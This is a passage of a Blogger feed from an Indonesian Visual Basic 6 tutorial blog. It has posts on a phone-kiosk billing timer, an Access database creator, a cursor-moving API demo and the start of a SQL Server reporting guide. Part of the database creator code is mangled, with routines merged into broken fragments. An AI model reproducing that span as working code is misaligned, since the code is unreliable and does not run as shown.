src='https://blogger.googleusercontent.com/tracker/7872901297791207431-8926597843201944919?l=vbthok.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://vbthok.blogspot.com/feeds/8926597843201944919/comments/default' title='Poskan Komentar'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=7872901297791207431&amp;postID=8926597843201944919' title='1 Komentar'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7872901297791207431/posts/default/8926597843201944919'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7872901297791207431/posts/default/8926597843201944919'/><link rel='alternate' type='text/html' href='http://vbthok.blogspot.com/2008/12/membuat-buku-tamu.html' title='Membuat Buku Tamu'/><author><name>ToMeE</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://3.bp.blogspot.com/_eGS0YABgxQo/ST9j8_EmsOI/AAAAAAAAACY/Q1bl9bKHE9U/s72-c/bku_tamu.bmp' height='72' width='72'/><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7872901297791207431.post-1433152674007901996</id><published>2008-12-10T13:08:00.005+07:00</published><updated>2008-12-10T13:17:57.757+07:00</updated><title type='text'>Billing Wartel</title><content type='html'>Nah kali ini penulis membuat contoh program billing wartel yang berfungsi menghitung jumlah uang yang harus dikeluarkan berdasarkan waktu yang digunakan untuk telpon. Untuk Penggunaan timer dengan biaya pemakaian bisa kalian atur dengan ide kalian sendiri.&lt;br /&gt;Berikut bentuk form yang sudah dibuat&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://4.bp.blogspot.com/_eGS0YABgxQo/ST9eHoOQCpI/AAAAAAAAACQ/qRTu-xorLu0/s1600-h/timer.bmp"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 238px; height: 170px;" src="http://4.bp.blogspot.com/_eGS0YABgxQo/ST9eHoOQCpI/AAAAAAAAACQ/qRTu-xorLu0/s320/timer.bmp" alt="" id="BLOGGER_PHOTO_ID_5278040773450795666" border="0" /&gt;&lt;/a&gt;Dan berikut scriptnya&lt;br /&gt;&lt;br /&gt;Dim awal As Date&lt;br /&gt;Dim akhir As Date&lt;br /&gt;&lt;br /&gt;Private Sub Cmul_Click()&lt;br /&gt;awal = Time&lt;br /&gt;Timer1.Enabled = True&lt;br /&gt;Timer1.Interval = 1&lt;br /&gt;Cmul.Enabled = False&lt;br /&gt;Csel.Enabled = True&lt;br /&gt;Csel.SetFocus&lt;br /&gt;End Sub&lt;br /&gt;&lt;br /&gt;Private Sub Csel_Click()&lt;br /&gt;Timer1.Enabled = False&lt;br /&gt;Cmul.Enabled = True&lt;br /&gt;Csel.Enabled = False&lt;br /&gt;Cmul.SetFocus&lt;br /&gt;End Sub&lt;br /&gt;&lt;br /&gt;Private Sub Form_Activate()&lt;br /&gt;Cmul.SetFocus&lt;br /&gt;End Sub&lt;br /&gt;&lt;br /&gt;Private Sub Timer1_Timer()&lt;br /&gt;Dim total As Date&lt;br /&gt;Dim bayar As Integer&lt;br /&gt;akhir = Time&lt;br /&gt;total = akhir - awal&lt;br /&gt;bayar = Round(1000000 * total)&lt;br /&gt;Text1.Text = total&lt;br /&gt;Text2.Text = Format(bayar, "Rp #,#")&lt;br /&gt;End Sub&lt;br /&gt;&lt;br /&gt;Mudah Sekali bukan?? Silakan kalian coba dan kembangkan sendiri dari contoh yang sudah ada.&lt;br /&gt;Bagi yang tidak mau ambil pusing silakan download programnya &lt;a href="http://www.ziddu.com/download/2885539/BillingWartel.zip.html"&gt;disini&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7872901297791207431-1433152674007901996?l=vbthok.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://vbthok.blogspot.com/feeds/1433152674007901996/comments/default' title='Poskan Komentar'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=7872901297791207431&amp;postID=1433152674007901996' title='1 Komentar'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7872901297791207431/posts/default/1433152674007901996'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7872901297791207431/posts/default/1433152674007901996'/><link rel='alternate' type='text/html' href='http://vbthok.blogspot.com/2008/12/billing-wartel.html' title='Billing Wartel'/><author><name>ToMeE</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://4.bp.blogspot.com/_eGS0YABgxQo/ST9eHoOQCpI/AAAAAAAAACQ/qRTu-xorLu0/s72-c/timer.bmp' height='72' width='72'/><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7872901297791207431.post-1173754878880095923</id><published>2008-12-06T13:01:00.007+07:00</published><updated>2008-12-06T13:15:12.095+07:00</updated><title type='text'>Membuat aplikasi pembuat database ( Database Creator )</title><content type='html'>Kali ini penulis akan membuat aplikasi yang berfungsi untuk membuat database access dengan menggunakan visual basic. Dengan aplikasi ini diharapkan kalian bisa mengembangkan untuk membuat aplikasi yang lebih sempurna dan untuk mempermudah pembuatan database.&lt;br /&gt;Berikut bentuk tampilan form, silakan kalian buat bentuk seperti contoh dibawah ini atau sesuai dengan ide yang kamu kembangkan sendiri.&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://4.bp.blogspot.com/_eGS0YABgxQo/SToWhoLRQLI/AAAAAAAAACI/3DjgvvDu9xI/s1600-h/untitled6.bmp"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 320px; height: 208px;" src="http://4.bp.blogspot.com/_eGS0YABgxQo/SToWhoLRQLI/AAAAAAAAACI/3DjgvvDu9xI/s320/untitled6.bmp" alt="" id="BLOGGER_PHOTO_ID_5276554680394137778" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;Nah berikut kode scriptnya :&lt;br /&gt;&lt;br /&gt;Dim eng As New DBEngine&lt;br /&gt;Dim db As Database&lt;br /&gt;Dim cn As ADODB.Connection&lt;br /&gt;Dim rs As Recordset&lt;br /&gt;Dim str As String&lt;br /&gt;Dim fname As String&lt;br /&gt;Dim fso As New FileSystemObject&lt;br /&gt;' API DECLARATION OF SLEEP&lt;br /&gt;Private Declare Sub Sleep Lib "kernel32" (ByVal dwMilliseconds As Long)&lt;br /&gt;'API FUNCTION TO OPEN OUTLOOK EXPRESS&lt;br /&gt;Private Declare Function ShellExecute Lib "shell32.dll" Alias "ShellExecuteA" (ByVal hwnd As Long, ByVal lpOperation As String, ByVal lpFile As String, ByVal lpParameters As String, ByVal lpDirectory As String, ByVal nShowCmd As Long) As Long&lt;br /&gt;&lt;br /&gt;Private Sub Check1_Click()&lt;br /&gt;&lt;br /&gt;If Check1.Value = 0 Then&lt;br /&gt;txtp1.Text = ""&lt;br /&gt;txtp2.Text = ""&lt;br /&gt;txtp1.BackColor = &amp;amp;H80000011&lt;br /&gt;txtp2.BackColor = &amp;amp;H80000011&lt;br /&gt;txtp1.Locked = True&lt;br /&gt;txtp2.Locked = True&lt;br /&gt;lblstrength.Width = 555&lt;br /&gt;lblstrength.BackColor = &amp;amp;H8080FF&lt;br /&gt;lblstrength.Caption = "Low"&lt;br /&gt;Frame3.Visible = False&lt;br /&gt;txtp1.TabStop = False&lt;br /&gt;txtp2.TabStop = False&lt;br /&gt;Else&lt;br /&gt;txtp1.SetFocus&lt;br /&gt;txtp1.BackColor = vbWhite&lt;br /&gt;txtp2.BackColor = vbWhite&lt;br /&gt;txtp1.Locked = False&lt;br /&gt;txtp2.Locked = False&lt;br /&gt;txtp1.TabStop = True&lt;br /&gt;txtp2.TabStop = True&lt;br /&gt;End If&lt;br /&gt;End Sub&lt;br /&gt;&lt;br /&gt;Private Sub Check1_LostFocus()&lt;br /&gt;If Check1.Value = 0 Then&lt;br /&gt;  txtp1.TabStop = False&lt;br /&gt;  txtp2.TabStop = False&lt;br /&gt;ElseIf Check1.Value = 1 Then&lt;br /&gt;  txtp1.TabStop = True&lt;br /&gt;  txtp2.TabStop = True&lt;br /&gt;End If&lt;br /&gt;End Sub&lt;br /&gt;&lt;br /&gt;Private Sub Command1_Click()&lt;br /&gt;On Error GoTo handler&lt;br /&gt;If txtpath &lt;&gt; "" Then&lt;br /&gt;  If Check1.Value = 1 Then&lt;br /&gt;    validate&lt;br /&gt;  Else&lt;br /&gt;    create_database&lt;br /&gt;    status&lt;br /&gt;    str = MsgBox("Do u want to open database ?", vbQuestion + vbYesNo, "Open ?")&lt;br /&gt;    If str = vbYes Then ShellExecute Me.hwnd, "open", fname, "", "", 1&lt;br /&gt;  End If&lt;br /&gt;Else&lt;br /&gt;  MsgBox "Select Path for Creating Database", vbInformation, "No Path..."&lt;br /&gt;  Command3.SetFocus&lt;br /&gt;End If&lt;br /&gt;  Exit Sub&lt;br /&gt;handler:&lt;br /&gt;If Err.Number = 3204 Then&lt;br /&gt;  str = MsgBox("Database already exists" &amp;amp; vbCrLf &amp;amp; "Do U want to Repalce it ?", vbInformation + vbYesNo, "File alredy exists")&lt;br /&gt;  If str = vbYes Then&lt;br /&gt;    fso.DeleteFile (txtpath)&lt;br /&gt;    validate&lt;br /&gt;    Exit Sub&lt;br /&gt;  Else&lt;br /&gt;    txtpath.Text = ""&lt;br /&gt;    Command3.SetFocus&lt;br /&gt;  End If&lt;br /&gt;Else&lt;br /&gt;  MsgBox Err.Description, vbInformation, "Info.."&lt;br /&gt;  Exit Sub&lt;br /&gt;End If&lt;br /&gt;End Sub&lt;br /&gt;&lt;br /&gt;Private Sub Command2_Click()&lt;br /&gt;On Error GoTo handler&lt;br /&gt;ShellExecute Me.hwnd, "OPEN", "mailto:tomee@indosatcommunity.com ; tom_mee@telkom.net", "", "", 1&lt;br /&gt;Exit Sub&lt;br /&gt;handler:&lt;br /&gt;MsgBox Err.Description, vbInformation, "Info.."&lt;br /&gt;End Sub&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Private Sub Command3_Click()&lt;br /&gt;On Error GoTo handler&lt;br /&gt;CommonDialog1.DialogTitle = "Create Database..."&lt;br /&gt;CommonDialog1.Filter = "MS-Access files(*.mdb)|*.mdb"&lt;br /&gt;CommonDialog1.ShowSave&lt;br /&gt;txtpath.Text = CommonDialog1.FileName&lt;br /&gt;Exit Sub&lt;br /&gt;handler:&lt;br /&gt;If Err.Number = 32755 Then&lt;br /&gt;  MsgBox "Don't U want to create database ?", vbQuestion, "Quit ?"&lt;br /&gt;Else&lt;br /&gt;  MsgBox Err.Description, vbInformation, "Info..."&lt;br /&gt;End If&lt;br /&gt;End Sub&lt;br /&gt;&lt;br /&gt;Private Sub Command4_Click()&lt;br /&gt;On Error GoTo handler&lt;br /&gt;ShellExecute Me.hwnd, "open", App.Path &amp;amp; "\notes.txt", "", "", 1&lt;br /&gt;Exit Sub&lt;br /&gt;handler:&lt;br /&gt;MsgBox Err.Description, vbExclamation, "Error"&lt;br /&gt;End Sub&lt;br /&gt;&lt;br /&gt;Private Sub CommandButton1_Click()&lt;br /&gt;Unload Me&lt;br /&gt;End Sub&lt;br /&gt;&lt;br /&gt;Private Sub Form_Load()&lt;br /&gt;StatusBar1.Panels(2).Text = "STATUS"&lt;br /&gt;txtp1.BackColor = &amp;amp;H80000011&lt;br /&gt;txtp2.BackColor = &amp;amp;H80000011&lt;br /&gt;End Sub&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Private Sub status()&lt;br /&gt;Picture1.Visible = True&lt;br /&gt;For i = 0 To 7&lt;br /&gt; Picture1.Picture = LoadPicture(App.Path &amp;amp; "\pics\" &amp;amp; i &amp;amp; ".BMP")&lt;br /&gt; If i &lt; text = "Database Created" text = "Table Created" visible =" False" text = "STATUS"&gt; "" And txtp2.Text &lt;&gt; "" Then&lt;br /&gt;    If txtp1.Text &lt;&gt; txtp2.Text Then&lt;br /&gt;      MsgBox "Password doesn't match", vbCritical, "Password Mismatch"&lt;br /&gt;      txtp1.Text = ""&lt;br /&gt;      txtp2.Text = ""&lt;br /&gt;      txtp1.SetFocus&lt;br /&gt;    Else&lt;br /&gt;      create_database&lt;br /&gt;      status&lt;br /&gt;      str = MsgBox("Do u want to open database ?", vbQuestion + vbYesNo, "Open ?")&lt;br /&gt;      If str = vbYes Then ShellExecute Me.hwnd, "open", fname, "", "", 1&lt;br /&gt;    End If&lt;br /&gt;  Else&lt;br /&gt;   If Check1.Value = 1 Then&lt;br /&gt;      MsgBox "Password Mandatory", vbCritical, "Blank Password"&lt;br /&gt;      If txtp1.Text = "" Then&lt;br /&gt;        txtp1.SetFocus&lt;br /&gt;      Else&lt;br /&gt;        txtp2.SetFocus&lt;br /&gt;      End If&lt;br /&gt;   Else&lt;br /&gt;     create_database&lt;br /&gt;     status&lt;br /&gt;     str = MsgBox("Do u want to open database ?", vbQuestion + vbYesNo, "Open ?")&lt;br /&gt;     If str = vbYes Then ShellExecute Me.hwnd, "open", fname, "", "", 1&lt;br /&gt;   End If&lt;br /&gt;  End If&lt;br /&gt;End Sub&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Private Sub Return_to_normal()&lt;br /&gt;txtp1.Text = ""&lt;br /&gt;txtp2.Text = ""&lt;br /&gt;txtpath.Text = ""&lt;br /&gt;txtpath.SetFocus&lt;br /&gt;Check1.Value = 0&lt;br /&gt;Check1_Click&lt;br /&gt;lblstrength.Width = 555&lt;br /&gt;lblstrength.BackColor = &amp;amp;H8080FF&lt;br /&gt;lblstrength.Caption = "Low"&lt;br /&gt;Frame3.Visible = False&lt;br /&gt;End Sub&lt;br /&gt;&lt;br /&gt;Private Sub mnuabout_Click()&lt;br /&gt;Form2.Show , Me&lt;br /&gt;End Sub&lt;br /&gt;&lt;br /&gt;Private Sub mnume_Click()&lt;br /&gt;Form2.Show , Me&lt;br /&gt;End Sub&lt;br /&gt;&lt;br /&gt;Private Sub txtp1_Change()&lt;br /&gt;Frame3.Visible = True&lt;br /&gt;If Len(txtp1.Text) &lt;= 5 Then   lblstrength.Width = 555   lblstrength.BackColor = &amp;amp;H8080FF   lblstrength.Caption = "Low" ElseIf Len(txtp1.Text) &gt;= 6 And Len(txtp1.Text) &lt;= 10 Then   lblstrength.Width = 900   lblstrength.BackColor = &amp;amp;H80FFFF   lblstrength.Caption = "Medium" ElseIf Len(txtp1.Text) &gt; 10 Then&lt;br /&gt;lblstrength.Width = 1605&lt;br /&gt;lblstrength.BackColor = &amp;amp;H80FF80&lt;br /&gt;lblstrength.Caption = "Strong"&lt;br /&gt;End If&lt;br /&gt;End Sub&lt;br /&gt;&lt;br /&gt;Private Sub create_database()&lt;br /&gt;fname = txtpath.Text&lt;br /&gt;  Set db = eng.Workspaces(0).CreateDatabase(txtpath, dbLangGeneral &amp;amp; ";pwd=" &amp;amp; Trim(txtp1.Text) &amp;amp; ";")&lt;br /&gt;  db.Close&lt;br /&gt;  Set cn = New ADODB.Connection&lt;br /&gt;  cn.Open "Provider=Microsoft.Jet.OLEDB.4.0;Data Source=" &amp;amp; txtpath.Text &amp;amp; ";persist security info=true ; jet oledb:database password =" &amp;amp; txtp1.Text &amp;amp; ";"&lt;br /&gt;  cn.Execute "create table Sample(empno number,ename text(50),sal number,date_of_birth date,date_of_joining date,constraint pk primary key(empno))"&lt;br /&gt;  cn.Close&lt;br /&gt;End Sub&lt;br /&gt;&lt;br /&gt;Private Sub txtp1_click()&lt;br /&gt;move_focus&lt;br /&gt;End Sub&lt;br /&gt;&lt;br /&gt;Private Sub txtp2_click()&lt;br /&gt;move_focus&lt;br /&gt;End Sub&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Private Sub move_focus()&lt;br /&gt;If Check1.Value = 0 Then&lt;br /&gt;Check1.SetFocus&lt;br /&gt;Else&lt;br /&gt;End If&lt;br /&gt;End Sub&lt;br /&gt;&lt;br /&gt;Nah selamat mencoba, bagi yang males membuat dan ingin mendownload silakan download &lt;a href="http://www.ziddu.com/download/2850728/DatabaseCreator.zip.html"&gt;disini&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7872901297791207431-1173754878880095923?l=vbthok.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://vbthok.blogspot.com/feeds/1173754878880095923/comments/default' title='Poskan Komentar'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=7872901297791207431&amp;postID=1173754878880095923' title='2 Komentar'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7872901297791207431/posts/default/1173754878880095923'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7872901297791207431/posts/default/1173754878880095923'/><link rel='alternate' type='text/html' href='http://vbthok.blogspot.com/2008/12/membuat-aplikasi-pembuat-database.html' title='Membuat aplikasi pembuat database ( Database Creator )'/><author><name>ToMeE</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://4.bp.blogspot.com/_eGS0YABgxQo/SToWhoLRQLI/AAAAAAAAACI/3DjgvvDu9xI/s72-c/untitled6.bmp' height='72' width='72'/><thr:total>2</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7872901297791207431.post-6696944540869545510</id><published>2008-12-06T12:13:00.004+07:00</published><updated>2008-12-06T12:36:36.342+07:00</updated><title type='text'>Membuat Mouse Bergerak dengan fungsi API</title><content type='html'>Berikut ini penulis akan membuat sebuah contoh program sederhana yang memanfaatkan fungsi API dan dibuat dengan Visual Basic 6.0 yang akan membuat mouse bergerak gerak.&lt;br /&gt;&lt;br /&gt;Langkah-Langkahnya :&lt;br /&gt;&lt;br /&gt;   1. Buat 1 project baru dengan 1 CommandButton, dan 1 buah timer.&lt;br /&gt;   2. Atur interval timer menjadi 100 dan nilai enable dibuat false pada jendela properties.&lt;br /&gt;   3. Ketik kode berikut ke dalam code editor form :&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Option Explicit&lt;br /&gt;Private Declare Function SetCursorPos Lib “user32″ (ByVal x As Long, ByVal y As Long) As Long&lt;br /&gt;&lt;br /&gt;Dim xx As Integer&lt;br /&gt;Dim yy As Integer&lt;br /&gt;&lt;br /&gt;Private Type POINTAPI&lt;br /&gt;x As Long&lt;br /&gt;y As Long&lt;br /&gt;End Type&lt;br /&gt;&lt;br /&gt;Private Declare Function GetCursorPos Lib “user32″ (lpPoint As POINTAPI) As Long&lt;br /&gt;Dim sh As Integer&lt;br /&gt;Dim sw As Integer&lt;br /&gt;&lt;br /&gt;Private Sub Command1_Click()&lt;br /&gt;Timer1.Enabled = True&lt;br /&gt;xx = Rnd * 10 + 1&lt;br /&gt;yy = Rnd * 10 + 1&lt;br /&gt;End Sub&lt;br /&gt;&lt;br /&gt;Private Sub Command1_KeyDown(KeyCode As Integer, Shift As Integer)&lt;br /&gt;If vbKeyEscape Then&lt;br /&gt;Timer1.Enabled = False&lt;br /&gt;End If&lt;br /&gt;End Sub&lt;br /&gt;&lt;br /&gt;Private Sub Timer1_Timer()&lt;br /&gt;Dim pt As POINTAPI&lt;br /&gt;&lt;br /&gt;GetCursorPos pt&lt;br /&gt;’sebelum merubah kordinat posisi kursor, program harus mendapatkan terlebih&lt;br /&gt;’dahulu posisi kursor berada.&lt;br /&gt;sh = (Screen.Height / 15) - 1&lt;br /&gt;sw = (Screen.Width / 15) - 1&lt;br /&gt;&lt;br /&gt;If pt.x &lt;= 0 Then xx = -xx&lt;br /&gt;If pt.x &gt;= sw Then xx = -xx&lt;br /&gt;If pt.y &lt;= 0 Then yy = -yy&lt;br /&gt;If pt.y &gt;= sh Then yy = -yy&lt;br /&gt;&lt;br /&gt;DoEvents&lt;br /&gt;pt.x = pt.x + xx&lt;br /&gt;pt.y = pt.y + yy&lt;br /&gt;&lt;br /&gt;SetCursorPos pt.x, pt.y&lt;br /&gt;Label1.Caption = “Koordinat Posisi Kursor (X, Y): ” &amp; pt.x &amp; ” , ” &amp; pt.y&lt;br /&gt;End Sub&lt;br /&gt;&lt;br /&gt;Fungsi API yang digunakan dalam program :&lt;br /&gt;&lt;br /&gt;    * SetCursorPos, fungsi API SetCursorPos terdapat pada file pustaka user32.dll Fungsi ini berguna untuk merubah kordinat posisi kursor.&lt;br /&gt;&lt;br /&gt;Parameter :&lt;br /&gt;&lt;br /&gt;x : merupakan suatu point dengan acuan kordinat sumbu x.&lt;br /&gt;y : merupakan suatu point dengan acuan kordinat sumbu y.&lt;br /&gt;&lt;br /&gt;    * GetCursorPos, fungsi ini berguna untuk mendapatkan kordinat posisi kursor pada layar dengan mengembalikan nilai kordinat posisi (x,y).&lt;br /&gt;&lt;br /&gt;Parameter :&lt;br /&gt;&lt;br /&gt;lpPoint : merupakan deklarasi struktur POINTAPI yang berguna sebagai penerima kordinat posisi kursor pada layar. Sebelumnya kita harus mendeklarasikan Type POINT API terlebih dahulu.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7872901297791207431-6696944540869545510?l=vbthok.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://vbthok.blogspot.com/feeds/6696944540869545510/comments/default' title='Poskan Komentar'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=7872901297791207431&amp;postID=6696944540869545510' title='0 Komentar'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7872901297791207431/posts/default/6696944540869545510'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7872901297791207431/posts/default/6696944540869545510'/><link rel='alternate' type='text/html' href='http://vbthok.blogspot.com/2008/12/membuat-mouse-bergerak-dengan-fungsi.html' title='Membuat Mouse Bergerak dengan fungsi API'/><author><name>ToMeE</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7872901297791207431.post-1018651162115777770</id><published>2008-12-06T11:57:00.006+07:00</published><updated>2008-12-06T12:11:48.424+07:00</updated><title type='text'>visual basic + sql server + active report</title><content type='html'>&lt;br /&gt;&lt;br /&gt;&lt;meta equiv="Content-Type" content="text/html; charset=utf-8"&gt;&lt;meta name="ProgId" content="Word.Document"&gt;&lt;meta name="Generator" content="Microsoft Word 10"&gt;&lt;meta name="Originator" content="Microsoft Word 10"&gt;&lt;link rel="File-List" href="file:///C:%5CDOCUME%7E1%5Cgw_mlg%5CLOCALS%7E1%5CTemp%5Cmsohtml1%5C01%5Cclip_filelist.xml"&gt;&lt;link rel="Edit-Time-Data" href="file:///C:%5CDOCUME%7E1%5Cgw_mlg%5CLOCALS%7E1%5CTemp%5Cmsohtml1%5C01%5Cclip_editdata.mso"&gt;&lt;!--[if !mso]&gt; &lt;style&gt; v\:* {behavior:url(#default#VML);} o\:* {behavior:url(#default#VML);} w\:* {behavior:url(#default#VML);} .shape {behavior:url(#default#VML);} &lt;/style&gt; &lt;![endif]--&gt;&lt;o:smarttagtype namespaceuri="urn:schemas-microsoft-com:office:smarttags" name="place"&gt;&lt;/o:smarttagtype&gt;&lt;o:smarttagtype namespaceuri="urn:schemas-microsoft-com:office:smarttags" name="State"&gt;&lt;/o:smarttagtype&gt;&lt;!--[if gte mso 9]&gt;&lt;xml&gt;  &lt;w:worddocument&gt;   &lt;w:view&gt;Normal&lt;/w:View&gt;   &lt;w:zoom&gt;0&lt;/w:Zoom&gt;   &lt;w:donotshowrevisions/&gt;   &lt;w:donotprintrevisions/&gt;   &lt;w:donotshowmarkup/&gt;   &lt;w:compatibility&gt;    &lt;w:breakwrappedtables/&gt;    &lt;w:snaptogridincell/&gt;    &lt;w:wraptextwithpunct/&gt;    &lt;w:useasianbreakrules/&gt;   &lt;/w:Compatibility&gt;   &lt;w:browserlevel&gt;MicrosoftInternetExplorer4&lt;/w:BrowserLevel&gt;  &lt;/w:WordDocument&gt; &lt;/xml&gt;&lt;![endif]--&gt;&lt;!--[if !mso]&gt;&lt;object classid="clsid:38481807-CA0E-42D2-BF39-B33AF135CC4D" id="ieooui"&gt;&lt;/object&gt; &lt;style&gt; st1\:*{behavior:url(#ieooui) } &lt;/style&gt; &lt;![endif]--&gt;&lt;style&gt; &lt;!--  /* Style Definitions */  p.MsoNormal, li.MsoNormal, div.MsoNormal 	{mso-style-parent:""; 	margin:0in; 	margin-bottom:.0001pt; 	mso-pagination:widow-orphan; 	font-size:12.0pt; 	font-family:"Times New Roman"; 	mso-fareast-font-family:"Times New Roman";} @page Section1 	{size:8.5in 11.0in; 	margin:1.0in 1.25in 1.0in 1.25in; 	mso-header-margin:.5in; 	mso-footer-margin:.5in; 	mso-paper-source:0;} div.Section1 	{page:Section1;} --&gt; &lt;/style&gt;&lt;!--[if gte mso 10]&gt; &lt;style&gt;  /* Style Definitions */  table.MsoNormalTable 	{mso-style-name:"Table Normal"; 	mso-tstyle-rowband-size:0; 	mso-tstyle-colband-size:0; 	mso-style-noshow:yes; 	mso-style-parent:""; 	mso-padding-alt:0in 5.4pt 0in 5.4pt; 	mso-para-margin:0in; 	mso-para-margin-bottom:.0001pt; 	mso-pagination:widow-orphan; 	font-size:10.0pt; 	font-family:"Times New Roman";} &lt;/style&gt; &lt;![endif]--&gt;  &lt;p class="MsoNormal"&gt;Ketika kita membangun sebuah aplikasi database, kita tentunya menginginkan perpaduan yang ideal antara bahasa pemrograman, database dan reporting tool. Menurut saya… untuk membangun aplikasi khususnya yang berbasis desktop, komposisi yang paling ideal adalah visual basic 6 + sql server + active report.&lt;br /&gt;&lt;br /&gt;Dengan perpaduan tersebut, kita dapat membangun berbagai aplikasi client-server beserta reportingnya tanpa membutuhkan banyak komponen tambahan.&lt;br /&gt;Untuk reporting, sebenarnya paling powerfull adalah menggunakan crystal report. Tetapi, terlalu banyak komponen yang diperlukan saat kita akan mengkompilasi dan membuat installer dari aplikasi kita. Mungkin bagi yang sudah mahir, tidak ada kesulitan dalam hal tersebut. Namun bagi pemula seperti saya tentunya akan kebingungan memilih komponen mana saja yang harus disertakan.&lt;br /&gt;Ok… Langsung aja yach… dalam bagian ini saya akan mencoba berbagi dan menunjukkan pengalaman saya untuk membuat hubungan antara ketiganya.&lt;br /&gt;&lt;br /&gt;1. Buat satu database di SQL Server 2000 dan jangan lupa untuk membuat sedikitnya satu table. Sebagai contoh database sekolah dan table siswa.&lt;br /&gt;&lt;br /&gt;&lt;a href="http://3.bp.blogspot.com/_-AOnnKUhRdY/SMXIOlpdftI/AAAAAAAAAGE/DfjQUPzvxUk/s1600-h/tabel.JPG"&gt;&lt;span style="text-decoration: none;"&gt;&lt;!--[if gte vml 1]&gt;&lt;v:shapetype id="_x0000_t75" coordsize="21600,21600" spt="75" preferrelative="t" path="m@4@5l@4@11@9@11@9@5xe" filled="f" stroked="f"&gt;  &lt;v:stroke joinstyle="miter"&gt;  &lt;v:formulas&gt;   &lt;v:f eqn="if lineDrawn pixelLineWidth 0"&gt;   &lt;v:f eqn="sum @0 1 0"&gt;   &lt;v:f eqn="sum 0 0 @1"&gt;   &lt;v:f eqn="prod @2 1 2"&gt;   &lt;v:f eqn="prod @3 21600 pixelWidth"&gt;   &lt;v:f eqn="prod @3 21600 pixelHeight"&gt;   &lt;v:f eqn="sum @0 0 1"&gt;   &lt;v:f eqn="prod @6 1 2"&gt;   &lt;v:f eqn="prod @7 21600 pixelWidth"&gt;   &lt;v:f eqn="sum @8 21600 0"&gt;   &lt;v:f eqn="prod @7 21600 pixelHeight"&gt;   &lt;v:f eqn="sum @10 21600 0"&gt;  &lt;/v:formulas&gt;  &lt;v:path extrusionok="f" gradientshapeok="t" connecttype="rect"&gt;  &lt;o:lock ext="edit" aspectratio="t"&gt; &lt;/v:shapetype&gt;&lt;v:shape id="BLOGGER_PHOTO_ID_5243817494092545746" spid="_x0000_i1025" type="#_x0000_t75" alt="" href="http://3.bp.blogspot.com/_-AOnnKUhRdY/SMXIOlpdftI/AAAAAAAAAGE/DfjQUPzvxUk/s1600-h/tabel.JPG" style="'width:240pt;height:64.5pt'" button="t"&gt;  &lt;v:imagedata src="file:///C:\DOCUME~1\gw_mlg\LOCALS~1\Temp\msohtml1\01\clip_image001.jpg" href="http://3.bp.blogspot.com/_-AOnnKUhRdY/SMXIOlpdftI/AAAAAAAAAGE/DfjQUPzvxUk/s320/tabel.JPG"&gt; &lt;/v:shape&gt;&lt;![endif]--&gt;&lt;!--[if !vml]--&gt;&lt;!--[endif]--&gt;&lt;/span&gt;&lt;/a&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/_eGS0YABgxQo/SToHsHbuY2I/AAAAAAAAABo/geXApiYZOVM/s1600-h/untitled.bmp"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 320px; height: 86px;" src="http://3.bp.blogspot.com/_eGS0YABgxQo/SToHsHbuY2I/AAAAAAAAABo/geXApiYZOVM/s320/untitled.bmp" alt="" id="BLOGGER_PHOTO_ID_5276538367908930402" border="0" 